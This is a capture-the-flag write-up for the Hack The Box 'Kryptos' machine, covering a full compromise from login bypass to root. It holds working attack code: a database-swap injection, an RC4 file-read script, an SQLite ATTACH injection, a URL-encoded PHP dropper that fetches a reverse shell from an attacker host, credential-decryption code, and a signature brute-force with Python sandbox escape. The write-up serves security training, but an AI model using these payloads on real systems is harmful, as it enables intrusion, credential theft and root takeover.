Kryptos

Updated:

Tags: , , , , , , ,

This post is a write-up for the Kryptos box on hackthebox.eu

Kryptos Info

Enumeration

Start enumerating the ports on the victim machine by running Nmap and Masscan:

Running nmap reveals two open ports

Running nmap reveals the following information:

  • Port 22
    • SSH Server
  • Port 80
    • Web Server

Browsing to the website results in a pretty basic login page:

Kryptos Login

After trying some default credentials failed, load the login form into Burpsuite for further analysis. When the login posts, it has a pretty interesting parameter set: username=abc123&password=abc123&db=cryptor&token=cf24389ea839ad63c87c2ff8a673edf975c6b0c875a9eeb1391cf45fb873a909&login=

Kryptos login post

By changing the db parameter, you can trigger various error messages:

Login page db parameter

This seems like a good place for an injection. There was a vulnerability in LimeSurvey not long ago that allowed allowed a database swap for an attacker controlled one. This might work here as well.

Try to get a connection from the victim machine by using tcpdump on the attacking machine and the injection string cryptor;host=10.10.16.66;port=3306#:

Verifying connectivity response

Interesting respose from the victim machine! The html response shows PDOException code: 2002, aka “Connection Refused”. Since this is connecting back to us with a mysql server, try to grab the hash for the user it is using. Metasploit has a pretty awesome module to capture these (remember to set the JOHNPWFILE parameter to save them to file):

Metasploit MySQL capture

With the hash saved, fire up John and go to town:

John bruteforce

At this point, the next step is about as clear as mud. Knowing that you have a credential, and you are able to get the victim machine to connect back to your attacking machine with sql commands on port 3306, setup a local db (MariaDB) that can accommodate the request. Install MariaDB, edit /etc/mysql/mariadb.conf.d/50-server.cnf to listen on the external interface, and allow logging:

port                   = 3306
bind-address           = 10.0.0.1
general_log_file       = /var/log/mysql/mysql.log
general_log            = 1

Start the MariaDB service:

sudo systemctl restart mysql.service
sudo systemctl restart mariadb.service
Verify MariaDB is listening on tun0

Create the user dbuser with the password that was compromised earlier, the db cryptor, and allow remote access:

Setup MariaDB

After triggering the injection again you should see a connection request and the login query:

MySQL connection request

After analyzing the log entry, you need to create a table users with the columns username and password. The password seems to be the md5 hash of what was entered in the login field (md5("test")).

Setup MariaDB Table

After logging in again, you should get into the application:

Login success

Unfortunately, there is no low-hanging fruit inside the web application. With the encrypt functionality of the application, you can make a get request to an arbitrary url and encrypt it with RC4 or AES. Since RC4 is basically a fancy xor cipher and is often misused, encrypt a sample url with it, decode the base64 and encrypt it again. Decoding the resulting base64 should give you the plaintext! I use this method frequently for reverse engineering encrypted web requests. This means that the key is reused on encryption, therefore enabling you to decrypt the cipher text with the encrypt method.

Finding a place to use this method is quite difficult. Running dirb against the server results in a /dev folder (which responds with 403). In order to automate requesting files via the encrypt/decrypt process, I wrote a quick Python script:

from base64 import *
import requests
import re
import argparse
import tempfile
import threading
import os
import urllib.parse
from http.server import HTTPServer, SimpleHTTPRequestHandler

kryptos = "http://10.10.10.129/"
proxyDict = { 
              "http"  : "http://127.0.0.1:8080",             
            }

def get(url, ip,  port, sessid):	
	with tempfile.TemporaryDirectory() as tmpdir:
		# run server
		server = HTTPServer((ip, int(port)), SimpleHTTPRequestHandler)
		thread = threading.Thread(target = server.serve_forever)
		thread.daemon = True
		thread.start()
		# make requests
		os.chdir(tmpdir)
		with open("tmp","wb+") as f:			
			cookies = {
		    	'PHPSESSID': sessid,
			}
			params = (
			    ('cipher', 'RC4'),
			    ('url', url),
			)
			r = requests.get(kryptos+'encrypt.php', params=params, cookies=cookies, proxies=proxyDict, verify=False)
			m = re.search('"output">(.+)<', r.text)
			if m:
				print("[+] Got encrypted result")
				f.write(b64decode(m.groups(1)[0]))
			else:
				return "Error getting encrypted file"	
		with open("tmp","r") as f:
			print("[*] Size: "+ str(os.fstat(f.fileno()).st_size))	
			params = (
			    ('cipher', 'RC4'),
			    ('url', 'http://' + ip + ':' + str(port) + "/tmp"),
			)
			r = requests.get(kryptos+'encrypt.php', params=params, cookies=cookies, proxies=proxyDict,  verify=False)
		
			m = re.search('"output">(.+)<', r.text)
			if m:
				print("[+] Decrypted:")
				result = m.groups(1)		
				try:		
					print(b64decode(result[0]).decode('utf-8'))
				except:
					print(b64decode(result[0]))
			else:
				print("[-] Failed decrypting..")
			server.shutdown()
			return "[*] Done"

if __name__ == '__main__':	
	parser = argparse.ArgumentParser(description="retrieves files and executes limited commands on kryptos @ hackthebox (you must adjust ip, port and session id at the top of this script)")
	parser.add_argument("method", help="get, getphp, exec")
	parser.add_argument("ip")
	parser.add_argument("port")
	parser.add_argument("phpsessid")
	parser.add_argument("url")
	args = parser.parse_args()
	if args.method == 'get':
		print(get(args.url, args.ip, args.port, args.phpsessid))

Test it out by making a request for /dev/index.php via the encrypt method. Finally, something interesting! Looks like a test page and a writable folder. Grab the sourcecode of test page using php filter:

sqlite_test_page.php contents

The resulting base64 string can be decoded revealing the following page:

<?php
$no_results = $_GET['no_results'];
$bookid = $_GET['bookid'];
$query = "SELECT * FROM books WHERE id=".$bookid;
if (isset($bookid)) {
   class MyDB extends SQLite3
   {
      function __construct()
      {
	 // This folder is world writable - to be able to create/modify databases from PHP code
         $this->open('d9e28afcf0b274a5e0542abb67db0784/books.db');
      }
   }
   $db = new MyDB();
   if(!$db){
      echo $db->lastErrorMsg();
   } else {
      echo "Opened database successfully\n";
   }
   echo "Query : ".$query."\n";

if (isset($no_results)) {
   $ret = $db->exec($query);
   if($ret==FALSE)
    {
	echo "Error : ".$db->lastErrorMsg();
    }
}
else
{
   $ret = $db->query($query);
   while($row = $ret->fetchArray(SQLITE3_ASSOC) ){
      echo "Name = ". $row['name'] . "\n";
   }
   if($ret==FALSE)
    {
	echo "Error : ".$db->lastErrorMsg();
    }
   $db->close();
}
}
?>

Looks like a sqlite database that is blatantly vulnerable to sql injection at SELECT * FROM books WHERE id=".$bookid;. A quick Google Search results in a blog post that should help. It describes a very interesting technique to get code execution: sqlite attaches a new database that will be created as a file on the file system with a command you can manipulate!

After some fiddling, the following query does the trick:

 or 1=1;attach database '/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/abc123.php' as test;create table abc123.pwn (dataz text);insert into abc123.pwn (dataz) values ("<?php phpinfo(); ?>");--

For this to work with the script, url encode the query (I just used Burpsuite for this):

New database

Check if the file has been written:

python3 kryptos_request.py get 10.10.16.66 8000 6gh0cg29bmfhkqiefga8a845p3 http://127.0.0.1/dev/d9e28afcf0b274a5e0542abb67db0784/abc1.php
phpinfo() Response

The file should have executed and responds with the contents of phpinfo(). Note: You can only execute this once with a given name (“abc1” in the example) because it is a create table command which will fail on consecutive executions.

Since the SQLi can run php code, this should allow us to pop a shell. Modify the PHP code below to your IP:

<?php 
    $a1 = base64_decode('aHR0cDovLzEwLjEwLjE2LjgwOjgwODEvYWJjMTIzLnBocA=='); 
    // base64-encoded: http://10.10.14.176:8081/abc123.php
    $a2 = file_get_contents($a1); 
    if($a2 === false){
        echo 1941;
    } 
    $b1 = base64_decode('L3Zhci93d3cvaHRtbC9kZXYvZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvZXZpbC5waHA='); 
    // base64-encoded: /var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/evil.php
    $b2 = file_put_contents($b1, $a2); 
?>

Insert the PHP code into the full SQLi injection, and URL encode it:

Plaintext:
 or 1=1; ATTACH DATABASE `/var/www/html/dev/d9e28afcf0b274a5e0542abb67db0784/abc123.php` AS abc123; CREATE TABLE abc123.pwn (dataz text); INSERT INTO abc123.pwn (dataz) VALUES ("<?php $a1 = base64_decode('aHR0cDovLzEwLjEwLjE2LjgwOjgwODEvYWJjMTIzLnBocA=='); $a2 = file_get_contents($a1); if($a2 === false){echo 1941;} $b1 = base64_decode('L3Zhci93d3cvaHRtbC9kZXYvZDllMjhhZmNmMGIyNzRhNWUwNTQyYWJiNjdkYjA3ODQvZXZpbC5waHA='); $b2 = file_put_contents($b1, $a2); ?>");

URL Encoded:
%20%6f%72%20%31%3d%31%3b%20%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%60%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%64%65%76%2f%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%61%62%63%31%32%33%2e%70%68%70%60%20%41%53%20%61%62%63%31%32%33%3b%20%43%52%45%41%54%45%20%54%41%42%4c%45%20%61%62%63%31%32%33%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%20%49%4e%53%45%52%54%20%49%4e%54%4f%20%61%62%63%31%32%33%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%22%3c%3f%70%68%70%20%24%61%31%20%3d%20%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%27%61%48%52%30%63%44%6f%76%4c%7a%45%77%4c%6a%45%77%4c%6a%45%32%4c%6a%67%77%4f%6a%67%77%4f%44%45%76%59%57%4a%6a%4d%54%49%7a%4c%6e%42%6f%63%41%3d%3d%27%29%3b%20%24%61%32%20%3d%20%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%24%61%31%29%3b%20%69%66%28%24%61%32%20%3d%3d%3d%20%66%61%6c%73%65%29%7b%65%63%68%6f%20%31%39%34%31%3b%7d%20%24%62%31%20%3d%20%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%27%4c%33%5a%68%63%69%39%33%64%33%63%76%61%48%52%74%62%43%39%6b%5a%58%59%76%5a%44%6c%6c%4d%6a%68%68%5a%6d%4e%6d%4d%47%49%79%4e%7a%52%68%4e%57%55%77%4e%54%51%79%59%57%4a%69%4e%6a%64%6b%59%6a%41%33%4f%44%51%76%5a%58%5a%70%62%43%35%77%61%48%41%3d%27%29%3b%20%24%62%32%20%3d%20%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%24%62%31%2c%20%24%61%32%29%3b%20%3f%3e%22%29%3b

Insert the URL encoded payload into the final command:

python3 abc123.py get 10.10.14.176 8081 6gh0cg29bmfhkqiefga8a845p3 "http://127.0.0.1/dev/sqlite_test_page.php?no_results=FALSE&bookid=1%20%6f%72%20%31%3d%31%3b%20%41%54%54%41%43%48%20%44%41%54%41%42%41%53%45%20%60%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%64%65%76%2f%64%39%65%32%38%61%66%63%66%30%62%32%37%34%61%35%65%30%35%34%32%61%62%62%36%37%64%62%30%37%38%34%2f%61%62%63%31%32%33%2e%70%68%70%60%20%41%53%20%61%62%63%31%32%33%3b%20%43%52%45%41%54%45%20%54%41%42%4c%45%20%61%62%63%31%32%33%2e%70%77%6e%20%28%64%61%74%61%7a%20%74%65%78%74%29%3b%20%49%4e%53%45%52%54%20%49%4e%54%4f%20%61%62%63%31%32%33%2e%70%77%6e%20%28%64%61%74%61%7a%29%20%56%41%4c%55%45%53%20%28%22%3c%3f%70%68%70%20%24%61%31%20%3d%20%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%27%61%48%52%30%63%44%6f%76%4c%7a%45%77%4c%6a%45%77%4c%6a%45%32%4c%6a%67%77%4f%6a%67%77%4f%44%45%76%59%57%4a%6a%4d%54%49%7a%4c%6e%42%6f%63%41%3d%3d%27%29%3b%20%24%61%32%20%3d%20%66%69%6c%65%5f%67%65%74%5f%63%6f%6e%74%65%6e%74%73%28%24%61%31%29%3b%20%69%66%28%24%61%32%20%3d%3d%3d%20%66%61%6c%73%65%29%7b%65%63%68%6f%20%31%39%34%31%3b%7d%20%24%62%31%20%3d%20%62%61%73%65%36%34%5f%64%65%63%6f%64%65%28%27%4c%33%5a%68%63%69%39%33%64%33%63%76%61%48%52%74%62%43%39%6b%5a%58%59%76%5a%44%6c%6c%4d%6a%68%68%5a%6d%4e%6d%4d%47%49%79%4e%7a%52%68%4e%57%55%77%4e%54%51%79%59%57%4a%69%4e%6a%64%6b%59%6a%41%33%4f%44%51%76%5a%58%5a%70%62%43%35%77%61%48%41%3d%27%29%3b%20%24%62%32%20%3d%20%66%69%6c%65%5f%70%75%74%5f%63%6f%6e%74%65%6e%74%73%28%24%62%31%2c%20%24%61%32%29%3b%20%3f%3e%22%29%3b"

Stand up a Python3 HTTP server to host your PHP Reverse Shell, make a GET request to the first PHP file to grab the reverse tunnel, and then another to execute the reverse shell:

python3 abc123.py get 10.10.14.176 8081 6gh0cg29bmfhkqiefga8a845p3 http://127.0.0.1/dev/index.php\?view\=php://filter/resource\=d9e28afcf0b274a5e0542abb67db0784/abc123

python3 abc123.py get 10.10.14.176 8081 6gh0cg29bmfhkqiefga8a845p3 http://127.0.0.1/dev/index.php\?view\=php://filter/resource\=d9e28afcf0b274a5e0542abb67db0784/evil
Initial shell
Whiskey Tango Foxtrot, no user flag!

Copy creds.txt to your attacking machine for further analysis on this encryption type.

After a bit of research about vimcrypt, I discovered that it supports zip, blowfish and blowfish2 and that there are some tools out there which can decrypt it using bruteforce. However, I ran into a wall on decrypting. There is a blog post describing a weakness in the crypto, which uses an old version, that seems very promising. By using a repeating keystream, the crypto method is vulnerable to attack. Since you have a part of the plain text from the creds.old file (which is in the home folder of rijndael as well and contains “rijndael / Password1”). You can obtain the key used for encryption by xoring the cipher text with the known plaintext. Using the key, you can then decrypt the whole file and obtain cleartext credentials. Because I love Python, I whipped up a script that can accomplish this task automatically:

import sys
import itertools

blocks = []

def xor(s, key):
    key = key * (len(s) / len(key) + 1)
    return ''.join(chr(ord(x) ^ ord(y)) for (x,y) in itertools.izip(s, key)) 

with open(sys.argv[1], 'rb') as file:
    
    header = file.read(12)
    salt = file.read(8)
    iv = file.read(8)

    blocks.append(file.read(8))
    blocks.append(file.read(8))
    blocks.append(file.read(8))
    blocks.append(file.read(8))
    
    plain = bytes('rijndael')
    
    key = xor(blocks[0], plain)
    
    plain = plain + xor(blocks[1], key)
    plain = plain + xor(blocks[2], key)
    plain = plain + xor(blocks[3], key)

    print plain

Running the script should output the credentials in plaintext:

Credential script output

Log into SSH with these credentials and grab the user flag:

User flag

Root Flag

Inside the user folder, locate the kryptos folder containing kryptos.py. a web application running on tcp port 81 as root. Looking at the code, you can see that by sending a request to /eval, the expr parameter gets evaluated (and therefore executed). There is a control built into this however, the parameter sig needs to be a valid signature and all builtin functions are disabled.

I started to look for ways to bypass the signature check. The function secure_rng has a comment that suggests it might not be secure - which is true. If you print out the values it generates, you can see some very small values being used and repetition of values. The pool of possible values is likely pretty small, and the seed values can be bruteforced in order to build a valid signature.

For the builtin functions you can use reflection / introspection to activate them again. I learned about this technique here. Use the following script to combine both:

import random
import json
import hashlib
import binascii
from ecdsa import VerifyingKey, SigningKey, NIST384p
from bottle import route, run, request, debug
from bottle import hook
from bottle import response as resp
import sys
import requests


def secure_rng(seed):
    # Taken from the internet - probably secure
    p = 2147483647
    g = 2255412

    keyLength = 32
    ret = 0
    ths = round((p-1)/2)
    for i in range(keyLength*8):
        seed = pow(g,seed,p)
        if seed > ths:
            ret += 2**i
    return ret

def verify(msg, sig):
    try:
        return vk.verify(binascii.unhexlify(sig), msg)
    except:
        return False

def sign(msg):
    return binascii.hexlify(sk.sign(msg))

print "[+] Signing expression.."

expr = "[x for x in (1).__class__.__base__.__subclasses__() if x.__name__ == 'Pattern'][0].__init__.__globals__['__builtins__']['__import__']('os').system('cp /root/root.txt /tmp/abc123 && chmod 777 /tmp/abc123')"

proxies = {'http': "http://localhost:8081"}

response = 'Bad signature'

print "Bruting.."
while response == 'Bad signature':
    seed = random.getrandbits(128)
    rand = secure_rng(seed) + 1
    sk = SigningKey.from_secret_exponent(rand, curve=NIST384p)
    vk = sk.get_verifying_key()
    sig = sign(expr)

    r = requests.post('http://127.0.0.1:81/eval', json={'expr': expr, 'sig': sig}, proxies=proxies)
    
    response = r.text
print r.text
print seed

Forward the port to your attacking machine with ssh -D 8081 -N rijndael@10.10.10.129:

SSH port forward

Setup Burpsuite to use a SOCKS Proxy on port 8081:

Burpsuite SOCKS Proxy

Cross your fingers and run the script:

Kryptos `secure_rng` bruteforce

The script should dump the root flag out to /tmp/abc123:

Root flag